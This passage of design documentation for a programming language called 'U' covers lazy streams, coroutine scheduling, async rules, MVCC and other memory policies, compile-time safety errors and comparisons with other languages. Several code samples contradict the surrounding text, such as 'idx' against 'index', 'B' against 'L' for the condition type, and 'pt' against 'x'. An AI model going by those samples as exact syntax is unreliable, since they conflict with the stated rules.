.on() does not return an array — an array is materialized and finite, but .on() must work over infinite and async sources. It returns a stream: a lazy, pull-based, possibly-async, possibly-infinite sequence, essentially a +F generator with a pull operation. That is why .on().on() chains — each stage consumes a stream and produces one. A stream carries its source's shape only in its element type (a keyed source yields (key, value) pairs); it otherwise forgets whether it came from an array, a map, or a generator, which is what keeps every combinator uniform.

A chain gen.on(A, 3).on(B, 5) is right-associative demand-pull. B is the driving stage: B pulls from A, A pulls from gen. Demand originates at the bottom and travels up. The second argument is how many pulls a stage services at once — one number that is at the same time its concurrency, its memory ceiling, and its backpressure trigger, because bounding how much of a stage may exist is precisely what forces the stall that is backpressure.

Nothing buffers values — only demand queues. A stage produces a value only to fill a pull already waiting for it, and that value flows straight into the waiting slot. There is no queue between stages and no result buffer. Under load, what backs up is pending pulls, never data — so memory is one in-transit payload per active slot. Backpressure is B's pulls not reaching A (A or its upstream busy), stalling upstream. Starvation is B's pull reaching A before A has a value ready, idling B briefly. Both are bounded and benign; neither accumulates.
The count bounds residency, and it caps memory. gen.on(A, 3).on(B, 5) means at most 3 A's and at most 5 B's exist concurrently; when one frees it pulls upstream for the next. Because values are created only on demand and flow straight through, the numbers are a hard resource bound — a natural cap on intermediate memory, not just a parallelism setting.
15Concurrency

The Coroutine Scheduler

Await by default — +A, a, and force-on-consumption

U is sync by default, Go-like. A plain call to an f+A function blocks at the call site until it resolves — the promise-ness is latent. Concurrency is explicit: a foo() opts out of the await and yields the unresolved promise, which must be bound to a +A-typed variable (the type cannot lie about a not-yet-here value). This is the same rule that governs lazy streams: a not-yet-here value — whether a lazy generator or a pending +A — materializes only when consumed as plain data, never by being constructed, assigned, or stored. Laziness and await are one phenomenon.

f+A on methods, +A on parameters. f+A on a method means "enter the body without awaiting t (this)." The method starts immediately; t is a future that materializes when a field is accessed. Same idea on parameters: data: S +A means "don't await this argument before entry — it stays a future inside the body, materialized on use." Default (no +A): all arguments are awaited before the function body starts.
Deferred values materialize on assignment to a non-deferred context. This is a single principle applied twice: Q arithmetic stays symbolic until assigned to N or I — then it materializes (one IEEE division). +A futures stay pending until assigned to a non-+A variable — then they auto-await (block until resolved). Same rule, different domain. a expr keeps the result as +A (deferred). Bare assignment forces materialization. The program's dependency graph falls out of where you choose to materialize.
Promises force at the call boundary, in the caller. A +A passed to a non-+A parameter is force-awaited at the argument position, in the caller's frame, before the callee is entered — the callee declared a plain T, so it can never see a promise. The deadline that applies and any exception thrown both live in the caller, at the call site.
Why a f exists — and why parameters don't need it. Omitting +A on a parameter forces the caller to await at the call boundary (see above) — the callee sees a concrete value. Declaring +A on a parameter means enter without resolving: the body receives a future it can await later, pass downstream, or race. Parameters control their own resolution through the type system. a f gives the same control to t, which has no annotation slot — there is no way to write t: Config +A on a method signature. An a f method accepts a still-pending receiver: t stays as a future inside the body, and using t.foo() auto-awaits at that point unless foo is itself a f or the caller wrote a t.foo(). A plain method, by contrast, auto-awaits t at the call boundary before entry — the body always sees a concrete instance.
No reject channel — timeout becomes none, and nullability decides. There is no separate rejection state. An expired +A(ms) produces none, and the ordinary nullability rules take over: awaited into T+N it proceeds as none (the deliberate opt-in silent path); awaited into a non-nullable T it raises the ordinary "cannot put none in a non-nullable" error — thrown in the caller, at the await site, before a callee ever runs. Timeout is not a bespoke mechanism; it is the nullability rule firing at the boundary.

Three Mechanisms That Cause a Coroutine to Yield

MechanismSyntaxWhenRequires a f?
Auto-await resolutionresult = pendingpending not yet resolvedno — automatic
Cooperative yielda;explicitly, let others runyes
Timed yielda n (integer)at least n ms (lower bound)yes
a; and a n are suspension points. Any function containing them must be declared a f. Callers then choose: auto-await (inherit the pause) or opt-in with a f() to run it on a new coroutine and avoid the pause. The same co-requirement applies — timed yields are just another reason to mark a function a f.
Bounded execution corollary: A function NOT declared a f contains no suspension points. It runs to completion before yielding — provably synchronous, deterministic, bounded. The compiler enforces this: any a expression inside a non-a f function is a type error. No other language can state this guarantee statically.
Ucooperative_yield.u
// CPU-intensive loop — sprinkle a; to stay cooperative
a f process_large_dataset(data: [Item])
    data.on((item, index) =>
        heavy_compute(item)
        idx % 1000 == 0 & a;    // yield every 1000 items
    )

// Timed yield — be nice for at least 5ms
a f polling_loop()
    w+I
        result = check_for_updates()
        result & process_update(result)
        a 5                         // yield at least 5ms between polls

// a n is a lower bound — scheduler may not wake you in exactly n ms
// Only hurts your coroutine and callers — cannot harm other coroutines
// Callers defend with: job: T +A = a polling_loop() — runs on own coroutine

The Event Loop — No Macrotask/Microtask Split

JavaScript — two queues, starvation possible
// Macrotask queue: ONE per tick
// setTimeout, setInterval, I/O callbacks
// Microtask queue: ALL drained per tick
// Promise.then, await continuations
// Microtasks can starve I/O callbacks:
async function spin() {
  while (true) {
    await Promise.resolve()  // microtask
    // I/O callbacks NEVER run
  }
}
U — one scheduler, no starvation
// One run queue. All coroutines equal.
// No macrotask/microtask distinction.
// a; yields fairly — coroutine goes to
// back of queue, others run first
a f spin()
    w+I
        a;   // fair yield — I/O coroutines run

Declarative Toposort — Dependencies from Types

The dependency graph is embedded in the +A types. The scheduler executes in topological order automatically — no manual orchestration.

Udeclarative_toposort.u
// Independent computations — scheduler runs concurrently
cfg:    Config+A = a load_config()
schema: Schema+A = a load_schema()   // independent of cfg

// Dependent — scheduler waits for both before running render
page:   S+A      = a render(cfg, schema)

// The scheduler reads the type graph:
// page depends on cfg and schema
// cfg and schema are independent
// → run load_config + load_schema concurrently
// → run render when both resolve
// Zero manual dependency declaration.
// The dependency graph IS the program.

Pub/Sub from the Modifier System

Multiple .on() calls on the same T +A value register subscribers that all run on resolution. This is Node.js event emitter — derived from the type system, not a separate API.

.on() accrues and returns a generator whose .handlers[n] expose its registrations; .off() removes. Each .on(handler) appends a subscriber — registering three handlers means all three fire, which is what pub/sub requires — and .on() returns the generator, whose .handlers is a 1-based array of the handlers it just registered. That is the ergonomic key: an inline lambda has no name to reference later, but the returned generator hands it back as g.handlers[1], so you can pass it to .off() even when it was written inline. .off(handler) removes exactly that registration, matched by identity, mirroring Node's .on/.off pair. Registering the same handler twice accrues two registrations. .off() on a handler that was never registered is a no-op. The pair is defined on arrival sources — T +A emitters and the e error/event channel — not on finite collections, where unsubscription has no meaning.

Node.js event emitter — runtime, untyped, manual
const emitter = new event emitter();
emitter.on('data', cfg => render(cfg));
emitter.on('data', cfg => cache(cfg));
emitter.on('data', cfg => log(cfg));
emitter.emit('data', loaded_cfg);
// untyped, memory leak risk
// no backpressure, no topology
U — typed, automatic, zero API
data: Config+A = a load_config()
data.on(render)                // named handlers
data.on(cache)
g = data.on(cfg => log(cfg))  // inline: returns the generator
data.off(g.handlers[1])        // remove it later, by handle (1-based)
// type-safe (Config, not any)
// backpressure via .on() pool
// topological order automatic
PropertyU T +ANode event emitter
Type safetyfull (T is the event type)none (any)
Dependency trackingcompile-time from typesmanual
Multiple subscribersmultiple .on() calls.on() API
Backpressureautomatic pool limitnone
Memory leak riskno (coroutine lifecycle)yes (forgotten listeners)
Ordering guaranteetopological from type graphemission order

Modifiers on Functions — The Clean Rule

No modifiers on function declarations. Modifiers describe values. On a function declaration a f fetch(url: S) -> S +N:
a is a keyword (like f or d), not a modifier
+N is a modifier on the return value
— parameter modifiers describe the parameter values

Modifiers on function types as values are fine: F() +R (escaping closure), F() +N (nullable function reference). These describe the reference, not the function's behavior.

Single-Threaded by Default, Share-Nothing for Multi-Core

U runs one cooperative thread per process by default — the pit of success. A suspended computation yields only at an explicit suspension point (a user a or a compiler-inserted auto-await), so between suspension points execution is atomic: no other work can interleave. That is what makes shared mutable state safe without locks and keeps reasoning local — a sum += index is a single indivisible step unless it straddles a suspension.

Scaling needMechanismWhy it's safe
Concurrency (I/O-bound — the common case)Many cooperative continuations on one threadOne thread, no data races by construction; saturates I/O as well as N threads would, since the bottleneck is waiting, not computing.
Parallelism (CPU-bound — the minority)Multiple isolated single-threaded processes (the Node cluster / Python multiprocessing model)Share-nothing: each process has its own heap, so there is no shared mutable state to race on. The boundary is a copy/serialize, which is exactly why it's safe.

Why not in-process work-stealing. True multi-threaded work-stealing over a shared heap would buy CPU parallelism at the cost of everything the single-threaded model provides for free: atomic-between-suspensions mutation, lock-free shared state, deterministic drop timing, and local reasoning. For the I/O-bound workloads U targets it buys nothing — the I/O wait dominates — while spending all of those guarantees. So it is not the default, and the cooperative-atomicity guarantee that the rest of the language leans on (the c capture rule, the straddles-a-suspension race check) stays intact.

The common web server case — one HTTP request per continuation, mostly waiting on I/O — runs thousands of concurrent requests on one cooperative thread with zero coordination overhead and Node.js ergonomics. When a deployment genuinely needs more cores, it runs more processes, each isolated: the crossing between them is an explicit, visible copy, in keeping with U's discipline that the dangerous thing (here, crossing a memory boundary) is always the thing you say out loud.

c — User-Declared Snapshot

c is for +R+M heap values where you want an explicit snapshot — a logical copy independent of the original. It is separate from the automatic -R+M copies the compiler inserts at a; and steal points, which the user never writes.

The compiler tracks how many live references exist to each +R+M value at each program point. If exactly one reference is retained at the c site, the copy is a no-op — exclusive ownership proven, MVCC not in play. If multiple references exist, c produces a path-copied snapshot in O(1). The cost is paid only when contention is real.

copy_semantics.u
// +R+M — user declares snapshot with c
config: Config+R+M = load()
snapshot = c config   // refcount=1 here: no-op — exclusive ownership
config.update(new_val)  // plain write — no MVCC overhead at refcount=1

shared = config         // refcount now 2
snap2 = c config      // refcount=2: real path-copy, O(1)
config.update(other)    // MVCC write — retries on conflict

// -R+M: compiler handles automatically — never write c for these
// Compiler inserts copy at a; or steal. User code is unaffected.
24Safety

Safety by Construction — Compile Errors

Every major error category below is not caught at runtime, not detected by a linter, not documented in a style guide. Each is a compile-time type error. The program does not build.

Arrays are 1-indexed. arr[0] is a compile error. Index 0 does not exist. The compiler catches literal zero indices and emits: "arrays are 1-indexed — first element is arr[1], not arr[0]." This catches the most common LLM/developer mistake when transitioning from 0-based languages. arr[arr.length] is the last element — no -1 required.

Non-Logical Condition

The condition in ?! and the left side of & must be type L. Integers, strings, and nullable values cannot be used directly as conditions. Convert explicitly with L(expr) or !!(expr).

// ❌ integer as condition
5 ? 2 ! 8           // ERROR: 5 is I, not B
a = 5 ? 2 ! 8       // ERROR: assignment returns I
count & process()  // ERROR: count is I
user & show()      // ERROR: user is User +N

// ✅ explicit condition
a == 5 ? 2 ! 8      // OK: == returns B
count > 0 & process() // OK
user != none & show() // OK
B(count) ? "y" ! "n"  // OK: cast
!!(name) ? "y" ! "n"  // OK: double-not

// | and ?? are exempt — value selectors
label = name | "default" // OK: S, not B

Use-After-Free / Scope Escape

A -R (stack) variable has no refcount and cannot outlive its scope. Assigning it to a +R slot or returning it as +R is a type error.

// ❌ stack var assigned to heap slot
local: Vec2 = Vec2( x: 1.0, y: 2.0 )  // -R
ref: Vec2 +R = local           // ERROR: -R → +R

// ❌ returning stack var as heap ref
f make_point() -> Vec2 +R
    p: Vec2 = Vec2( x: 1.0, y: 2.0 )  // -R
    r => p                     // ERROR: -R escapes scope

// ✅ explicitly promote to heap
    r => c+R pt               // OK: copies to heap first

Null Dereference

-N is the default. Any use of a +N value without a null guard is a type error. The compiler tracks nullability through every binding.

// ❌ accessing +N without check
name: S +N = query()
len = name.length()      // ERROR: name is +N

// ✅ guard before use
name != none & len = name.length()
name?.length()         // OK: optional chain
display = name ?? "—"  // OK: null coalesce

// ❌ returning +N where -N expected
f get_user() -> User
    r => db.find(id)   // ERROR: db.find returns User +N
f get_user() -> User +N   // ✅ declare it nullable

Data Race

+R +M without a +P policy is a type error. Every shared mutable object must declare how concurrent writes are mediated.

// ❌ shared mutable without policy
state: Config +R +M = Config()
// ✅ defaults to +M(MVCC) — or write explicitly

// ✅ declare the policy
state: Config +R +M +M(MVCC) = Config()
state: Config +R +M +M(Actor) = Config()

// ❌ two +M refs to same object
a: Vec2 +R +M = Vec2()
b: Vec2 +R +M = a      // ERROR: +M alias without policy

// ✅ policy handles concurrent access
a: Ctr +R +M +M(MVCC) = Ctr()
b: Ctr +R = a          // OK: b is +R -M (read only)

Async Violations

a at a call site and +A on the LHS are inferred from a. Auto-await in a non-a f function is also a type error.

// ❌ a without +A on LHS
result: S    = a fetch(url)  // ERROR: a needs +A
// ❌ +A without a at call site
pending: S +A = fetch(url)   // ERROR: +A needs a

// ✅ both together
pending: S +A = a fetch(url) // OK

// ❌ auto-await in non-a f function
f sync()
    result = fetch(url)      // ERROR: fetch is a f,
                             // sync() can't suspend
// ✅ a f: method enters without resolving t — body can await later
a f sync()                   // or: use a fetch() for new coroutine

Const Property Mutation

-M on a property is a const declaration. No amount of +M on the enclosing binding overrides it. Mutation requires +M at every step of the access chain.

// ❌ mutating -M property
d Config
    host: S       // -M (default) — const
    port: I +M    // explicitly mutable

cfg: Config +R +M = Config()
cfg.host = "x"   // ERROR: host is -M
                 // binding's +M does not override

cfg.port = 8080  // ✅ port is +M

// ❌ writing through immutable binding
pt: Vec2 = Vec2() // -M binding (default)
x.y = 1.0        // ERROR: x is -M

Escaping Closure Capturing -R

An escaping closure (+F +R) may outlive the current scope. It cannot capture -R stack variables — those will be gone when the closure runs.

// ❌ escaping closure captures stack var
f setup()
    msg: S = "hello"          // -R stack
    cb: (->S) +F +R =
        () => console.log(msg) // ERROR: cb is +F +R,
                               // msg is -R — will escape

// ✅ non-escaping: must be called within scope
    cb: (->S) +F -R =
        () => console.log(msg) // OK: -R closure, in-scope only

// ✅ or promote msg to heap
    msg: S +R = c+R "hello"
    cb: (->S) +F +R = () => console.log(msg)

Injection Attack

Functions expecting Html or Sql types reject raw S strings. The only way to produce Html is via html`...` which escapes all interpolations at compile time.

// ❌ raw string where Html expected
f render(page: Html)
    ...

content: S = "<h1>" + input + "</h1>"
render(content)  // ERROR: S is not Html

// ✅ html template: input is escaped
content = html`<h1>{input}</h1>` // type: Html
render(content)  // OK

// ❌ dynamic template tag
tag = html
page = tag`{input}` // ERROR: tag must be literal

Implicit Copy / Surprise Allocation

There are no implicit copies. Assignment retains (refcount++). Only c copies. The compiler has a static copy budget per function.

// ❌ no hidden copies anywhere
a: [I] +R = [1, 2, 3]
b = a           // retain: refcount++, no copy
b.append(4)     // ERROR: b is not +M
                // (and mutation would affect a)

// ✅ explicit copy when you need independence
b = c a       // explicit copy, now independent
b +M .append(4) // OK: b is its own array

// ❌ function with unknown copy count
// Every c is visible — static copy budget
// is proven at compile time

Summary — Error Categories Eliminated

ErrorHow U prevents itLanguages where it's runtime
Unhandled error typeDeclared x: ErrType errors checked for exhaustive handling at call siteAll languages (runtime)
Non-logical condition?! condition and & require L; 5 ? 2 ! 8 is a type errorC, JS, Python, Ruby
Use-after-free-R cannot be assigned to +R — type errorC, C++, Zig (manual)
Null dereference-N default — +N access without guard is type errorC, Java, JS, Go, Swift (partial)
Data race+R +M defaults to +M(MVCC) — explicit unsafe sharing impossibleGo (race detector), C, C++
Async cascade / coloringa/+A co-requirement — mismatch is type errorJS, Swift, Python, Rust async
Use-after-await+A annotation on locals — missing it is type errorJS (closure capture bugs)
Const mutation-M property — assignment is type error regardless of bindingC++ (UB), Java (partial), JS
Closure scope escape+F +R cannot capture -R — type errorC++ (UB), Swift (partial)
XSS injectionRaw SHtml — type error at function boundaryAll languages without template types
SQL injectionRaw SSql — type error at function boundaryAll languages without typed queries
Surprise allocationNo implicit copies — static copy budget proven per functionC++, Rust (some cases), Swift
i18n missing keyslocalized`{key}` — missing locale key is compile errorAll languages (runtime crash)
Zero index (arr[0])Arrays are 1-indexed — literal index 0 is a compile error with diagnosticAll 0-based languages (silent wrong element or runtime crash)
17.5Memory

Access Policies

Every +R +M binding requires a +M(Policy) declaration. Write policies go on +M (+M(Actor), +M(MVCC), etc.) and govern how concurrent writes are mediated. Lifetime/cleanup policies go on +R (+R(RAII)) and fire when the last reference drops. GC is one policy among many — and not the default. The default for +R is ARC without atomics (single-threaded coroutine scheduler means no cross-thread refcount races).

PolicySemanticsCleanupBest for
+R(RAII)__cleanup__() fires when last ref drops — deterministicImmediate, ref-countedFile handles, GPU resources, DB connections
+M(MVCC) DEFAULTOptimistic: readers never block, writers get a new version; conflicts retryOld versions GC'd when no readers hold themConfig, shared state with rare writes
+M(CRDT)Commutative merge: all writes eventually consistent, no conflictsRefcountedDistributed counters, sets, logs
+M(Actor)Serialized message queue: all access goes through the actor's inboxRefcountedMutable state with concurrent writers, UI components
+M(Mutex)Exclusive lock: one writer at a time, readers blockRefcountedLow-level critical sections
+R(Network)Remote proxy: reads/writes are serialized RPC callsRemote lifetimeMicroservices, distributed objects
Upolicies.u
// RAII: __cleanup__() fires deterministically on last ref
d DbConn+R(RAII)
    handle: I
    f __cleanup__(conn: DbConn+R) => db.close(conn.handle)

f query(sql: S) -> S
    conn: DbConn+R = DbConn.open()   // refcount=1
    result = conn.exec(sql)
    r => result    // conn refcount→0: __cleanup__() fires, connection closed
    // No finally, no try-with-resources, no defer

// MVCC: readers never block, writers get a new version
config: AppConfig+R+M(MVCC) = AppConfig.load()
config.reload()   // new version; existing readers see old version until done

// Actor: all access serialized through message queue
d Counter+M(Actor)
    count: I+M = 0
    f increment() => t.count = t.count + 1
    f get() -> I   => r => t.count
// Concurrent callers are queued — no data race, no mutex annotation

Comparison: how other languages manage state lifetime

LanguageDefaultDeterministic cleanup?Shared mutableNotes
JavaGC (non-deterministic)No — finalize() deprecatedsynchronized, volatiletry-with-resources for manual RAII. GC pauses unpredictable.
C++Manual + RAII patternYes — destructorsstd::mutex, std::atomicshared_ptr = ARC but with atomic refcount overhead. Easy to misuse raw pointers.
GoGCNo — use deferChannels, sync.Mutexdefer is explicit and forgettable. No deterministic cleanup.
RustOwnership + DropYes — ownership enforces itArc<Mutex<T>>Deterministic, zero-overhead. Borrow checker annotation burden. No MVCC/CRDT out of box.
JavaScriptGCNonone — single threadNo deterministic cleanup. WeakRef / FinalizationRegistry best-effort only.
U-R stack (free), +R ARC without atomicsYes — +R(RAII) on last ref drop+M(Actor|MVCC|CRDT|Mutex)Policy declared at binding site. GC available as a policy but not the default. Single-threaded coroutine scheduler means ARC needs no atomic operations.
Default is MVCC. Optimize down. +R +M without an explicit write policy is +M(MVCC). Readers never block. No deadlocks. Write conflicts retry automatically. When you have a measured reason to trade correctness for throughput: +M(Actor) for serialized writes, +M(Mutex) for raw lock performance, +M(CRDT) for eventual consistency. The same direction as Rust's safety model — safe by default, opt into unsafe when you need to.
GC as a policy, not a mandate. Garbage collection makes a specific tradeoff: determinism and latency for programmer convenience. U treats it as one option. The default for stack values (-R) is zero cost — they disappear at scope exit. The default for heap values (+R) is ARC — deterministic, immediate cleanup, no GC pauses. For cases where you genuinely want GC semantics (long-lived object graphs with complex reachability), +R(GC) is available. You opt into the tradeoff explicitly rather than having it imposed on everything.
17.6Concurrency

MVCC — Default Write Policy

+R +M without an explicit write policy defaults to +M(MVCC). You never write it — it's just what happens. Override to a cheaper policy when you have profiled a reason.

Semantics
ReadersNever block. Each reader sees a consistent snapshot at the moment it starts reading.
WritersOptimistic. Write completes; if another coroutine modified the same object between your read and write, your write retries automatically.
Atomicity unitThe +R +M(MVCC) object plus all its inline (-R) properties and inline maps. They change as one version. +R properties inside have their own separate versioning.
Cross-object transactionsNot in v1. If A and B must change together, make them fields of one object.
Umvcc.u
// +R +M defaults to MVCC — no annotation needed
config: Config+R+M = Config.load()

d Config
    host:  S            // inline -R — atomic with Config
    port:  I+M         // inline -R — atomic with Config
    flags: {S: L}       // inline map — atomic with Config
    cache: Cache+R(RAII)  // separate heap object — its own versioning

// Writing host + port + flags atomically — one version, one commit
config.host  = "newhost"
config.port  = 9090
config.flags["debug"] = true
// All three committed as one unit — other coroutines see old or new, never partial

The << patch operator

The atomic write primitive. obj << { field: new_val } is one MVCC version swap — recursively patches inline (-R) fields, stops at +R boundaries (those are separate objects). For large arrays and maps, the runtime uses path-copying persistent data structures: O(log n) writes, structural sharing, disjoint patches never conflict.

Upatch.u
// Atomic multi-field patch — one MVCC version swap
config << { host: "newhost", port: 9090 }   // atomic, retries on conflict

// Nested inline — recursively patches -R fields
server << { address: { host: "new" }, port: 443 }   // address.scheme unchanged

// Array element patch — O(log n), structural sharing
items << { [500]: updated_item }   // path-copies only the path to index 500

// Two concurrent coroutines — no conflict if different indices
// Coroutine A: items << { [500]: val_a }   ✅ different subtrees
// Coroutine B: items << { [700]: val_b }   ✅ both commit

// On -R local: same syntax, no MVCC overhead (compiler knows)
local_config << { port: 9090 }   // plain field update, -R = no versioning

Exception handling and rollback

The coroutine's uncommitted write-set is rolled back or committed based on how its exception handler responds. No begin/commit/rollback keywords.

e.on() handler returnsWrite-setCoroutine
trueCommitted — handler affirmed the writes are validContinues
none or falseRolled back — silence means unhandled, fail closedException propagates
Uncaught exceptionAlways rolled backCoroutine exits
Umvcc-exceptions.u
e.on((err: ValidationError) => (
    log(err.msg)
    r => true    // handled — writes committed, coroutine continues
))
e.on((err: CorruptStateError) => (
    alert(err.msg)
    // returns none — unhandled, writes rolled back, propagates up
))

// Fail closed: forgetting to return true = rollback, not silent commit
// You must consciously affirm the write-set is valid
Optimize when you need to. Override the default when profiling shows it matters: +M(Actor) for serialized writes with lower memory overhead, +M(Mutex) for raw lock performance, +M(CRDT) for eventual consistency. The default protects you; the overrides let you trade correctness guarantees for throughput.

Concurrent writes: same field vs. different fields

The CAS-retry loop resolves races differently depending on whether two writers touch the same field or not — this distinction is what makes << safe for coarse-grained objects, not just single scalars.

RaceOutcome
Same field, concurrentLast successful CAS wins — not "first coroutine to call <<," but whichever retry attempt lands the swap last. A losing attempt does not silently drop; it rebuilds against the new current version and retries, so no writer's call ever raises or fails — the field just ends up holding whichever value's CAS landed most recently.
Different fields, concurrentBoth survive. Each retry rebuilds a FULL new version from whatever the current version is, overlaying only its own patched field(s) — so a race on port never clobbers a concurrent change to host, even on the same object, even under heavy contention.
Read-modify-write patchcounter << { n: counter.n + 1 } is safe under contention — the right-hand expression is re-evaluated against the CURRENT version on every retry attempt, not computed once before the loop. A naive implementation that precomputes the new value before entering the retry loop will silently lose updates; this is the one part of the read/write pattern where getting the retry semantics exactly right matters most.

Scalars vs. objects: what "atomic replace" means at each level

The version-swap mechanism is the same at every level, but what counts as "the object" differs:

Scalar +R+M(MVCC)The value itself is the whole version. counter << 5 allocates a fresh boxed value, swaps the head pointer; old readers mid-read keep the old boxed value alive (refcounted) until they're done, then it frees.
Object with inline (-R) fieldsThe version is a full snapshot of every inline field. A patch touching one field still allocates a new version of the WHOLE struct — the unchanged fields are copied by value (they're inline, there's nothing to share a pointer to).
Object with +R sub-object fieldsThose fields hold pointers into separately-versioned objects. A patch to the parent copies the pointer forward unchanged — no cascade, no cloning of the child's data. The child has its own independent MVCC cell (or isn't MVCC at all, if declared with a different policy) and is patched separately, on its own schedule.

This is why MVCC is described as per-object: versioning stops at +R boundaries by construction, not by a special case in the implementation. A config object holding a large cache doesn't force-clone the cache on every unrelated field patch — it just carries the same cache pointer into the next version.

Customizing the merge — __patch__

The default patch behavior — copy unchanged fields forward, overlay the changed ones, CAS the head — is a class-level default, not a hardcoded language rule. A class can override it by defining __patch__:

Ucustom-patch.u
d Ledger
    balance: N +M
    history: [Entry] +R

    // called on every retry attempt, same as the generic build step —
    // receives the version this attempt is racing against, and the
    // patched fields; returns the new version to attempt-CAS
    f __patch__(old: Ledger, delta: { balance: N }) -> Ledger
        old.balance + delta.balance < 0 & e InsufficientFunds({})
        r => { balance: old.balance + delta.balance, history: old.history.append(...) }
Prototype status. __patch__ overriding is a documented extension point, not yet implemented in the reference transpiler — the current codegen always uses the generic per-field copy-and-overlay build function described above. Implementing it means exposing the version type to U's own type system (currently an internal codegen artifact) and dispatching the CAS-retry loop's build step to user code when present. Tracked as a known gap, not a silent behavior difference — a class without __patch__ gets exactly the generic behavior documented above.
23.5Comparisons

Exceptions, RAII & Null — U vs C++, Java, Rust, Go

Exception handling

LanguageMechanismTyped?ExhaustivenessHappy path noise
C++try/catch — throw anything, even intsNononeHigh — try/catch blocks everywhere
JavaChecked + unchecked. throws Exception on everythingPartiallyChecked only — widely bypassedHigh — try/catch/finally verbosity
Pythontry/except/finally — any object throwableNononeHigh
GoReturn (T, error) — no exceptionsYesIgnored silently if you forget to checkHigh — if err != nil everywhere
RustResult<T,E> + ? operator — no exceptionsYesCompiler enforces handlingMedium — ? at every fallible call
JavaScripttry/catch/finally — untyped, Promise.catch asyncNononeHigh + async split
Ue.on() typed handlers, object interfaces, library policiesYesCompiler checks ! Type vs e.on() registrationsZero — handlers declared once, happy path clean
The Java lesson: Checked exceptions were the right idea — declare what you throw, check at call sites. The problem was verbosity: you had to list every subtype at every frame. Java programmers responded by writing throws Exception everywhere, defeating the purpose. U solves this with inheritance: ! NetworkError covers TimeoutError : NetworkError and every future subtype. One declaration covers the whole family.

Policy arrays vs try/catch — side by side

The same error handling scenario in Java, C++, and U. The Java and C++ versions are not pathological — they are idiomatic. The noise is intrinsic to the mechanism.

Javafetch-and-process
// Every caller must list all thrown types
// or add throws Exception — defeating the purpose
public Response fetch(String url)
    throws NetworkException,
           TimeoutException,
           SSLException {
    // ...
}

try {
    var result = fetch(url);  // happy path
    process(result);          // buried under catch blocks
} catch (NetworkException e) {
    logger.warn(e.get_message());
    retry();
} catch (TimeoutException e) {
    backoff(e.get_delay());
} catch (SSLException e) {
    alert_security(e);
} finally {
    cleanup();
}
// Reuse? Copy-paste. No policy objects.
C++fetch-and-process
// Untyped — anything throwable
// No exhaustiveness checking
Response fetch(std::string url);
// (what does it throw? read the docs, maybe)

try {
    auto result = fetch(url);
    process(result);
} catch (const NetworkError& err) {
    logger.warn(err.what());
    retry();
} catch (const TimeoutError& err) {
    backoff(err.elapsed);
} catch (...) {
    // silently swallows anything else
}
// Stack unwinding fires on every throw
// Reuse? Inline only. No composable policies.
Ufetch-and-process — policy arrays
// Policies are typed arrays — defined once, reused everywhere
network_policies: [(NetworkError)->()] = [
    log_to_sentry,         // ordered, defined by library
    notify_oncall,
    retry_on_recoverable
]

// Every call site — one line, happy path clean
a f run(url: S)
    e.on(MyLib.network_policies)     // spread array onto chain
    e.on(MyLib.ssl_policies)         // multiple arrays composable
    // compiler: all ! NetworkError ! SSLError covered ✅

    result = a fetch(url)          // happy path reads first, clean
    process(result)

// Inheritance: ! NetworkError covers TimeoutError : NetworkError
// No need to list every subtype — the Java checked-exception trap avoided
// Zero-cost happy path — handler tables built statically, no stack unwinding
What policy arrays give you that Java and C++ cannot:
  • Define handlers once in a library, use at 100 call sites — e.on(MyLib.network_policies)
  • Compiler verifies all declared ! Type errors are covered — no missed cases
  • Early-exit chain: one handler returning false stops that type's chain, others unaffected
  • Happy path appears first and reads clean — error handling is a preamble, not a wrapper
  • Inheritance means ! NetworkError covers all subtypes — no Java-style subtype explosion
  • Static dispatch tables — zero cost when no exception is thrown, no stack unwinding on throw

RAII — resource cleanup

LanguageMechanismAutomatic?Notes
C++Destructors on stack objects. Smart pointers (unique_ptr, shared_ptr)YesRAII is a pattern — not enforced. Easy to misuse raw pointers. shared_ptr has atomic refcount overhead.
Java / Python / JSGC — no deterministic cleanup. try-with-resources / with / using as workaroundsNoCleanup is non-deterministic. File handles, DB connections left open until GC decides to run.
RustDrop trait. Ownership ensures exactly-once drop. No GC.YesDeterministic, zero overhead. But borrow checker annotation burden. No shared ownership without Arc<Mutex<T>>.
Godefer — explicit, not automaticNoYou must remember to write defer file.Close(). Forgotten defers = resource leaks.
U+R(RAII) on class — __cleanup__() fires when last reference dropsYesARC without atomics (single-threaded coroutine scheduler). Deterministic. No borrow checker. Works with shared +R refs — drops when refcount hits zero.
Uraii.u
// +R(RAII): __cleanup__() called automatically when last +R ref drops
d FileHandle+R(RAII)
    fd: I
    f __cleanup__(t: FileHandle+R)   // compiler calls this on last-ref-drop
        os.close(t.fd)

// No defer, no try-with-resources, no explicit close()
f read_config() -> S
    fh: FileHandle+R = open("/etc/config")  // refcount=1
    data = fh.read()
    r => data    // fh refcount→0 here: __cleanup__() fires, fd closed

// vs C++: shared_ptr uses atomic refcount (expensive cross-thread)
// U: ARC is plain integer arithmetic — no atomics (single-threaded coroutines)

Null safety

LanguageNull representationNull dereferenceDefault
C / C++Null pointer (nullptr)Undefined behavior — crash or worseNullable by default
Javanull referenceNullPointerException at runtimeNullable by default
JavaScriptnull and undefinedTypeError at runtimeNullable by default
SwiftOptional<T> — must unwrapCompile error (if you use ! force-unwrap: crash)Non-null default
KotlinT? nullable typeCompile errorNon-null default
RustOption<T> — must match/unwrapCompile errorNon-null default
GoNil pointers, nil interfacesRuntime panicNil by default
UT +N — explicit nullable annotationCompile error — +N value requires guard before access-N by default — non-null without annotation
U vs Swift/Kotlin/Rust on null: All four make null safe, but U's approach differs. Swift/Kotlin require explicit unwrapping (if let, ?.let). Rust requires pattern matching. U uses name != none & use(name) or name ?? fallback — the same operators used for every other conditional. No special null-unwrapping syntax to learn.
24Comparisons

Async & Concurrency: U vs Go, JavaScript, Swift+GCD

U vs JavaScript — Structure vs Convention

JS async/await unwinds the entire call stack at each await. Every local variable surviving the suspension is serialized to a heap-allocated Promise closure. This is why async infects callers — the return type changes from T to Promise<T>.

JavaScript — stack unwind per await
// Every await: full stack unwind to event loop
// Local state serialized to heap Promise closure
// async infects every caller in the chain
async function main() {
  await process_all(items)   // infected
}
async function process_all(list) {
  for (const item of list) {
    await fetch(item)       // infected
  }
}
// Two queues: macrotask (1 per tick) +
// microtask (ALL drained per tick)
// Microtasks can STARVE I/O callbacks
U — coroutine stack preserved, zero annotation
// Auto-await: coroutine stack stays in memory
// No serialization. No heap per await.
// No annotation on main() — no coloring
f main()
    process_all(items)     // plain call

f process_all(list: [Item])
    list.on(item =>
        result = fetch(item) // auto-await
        store(result)
    )
// One scheduler. No queue distinction.
// I/O never starved.
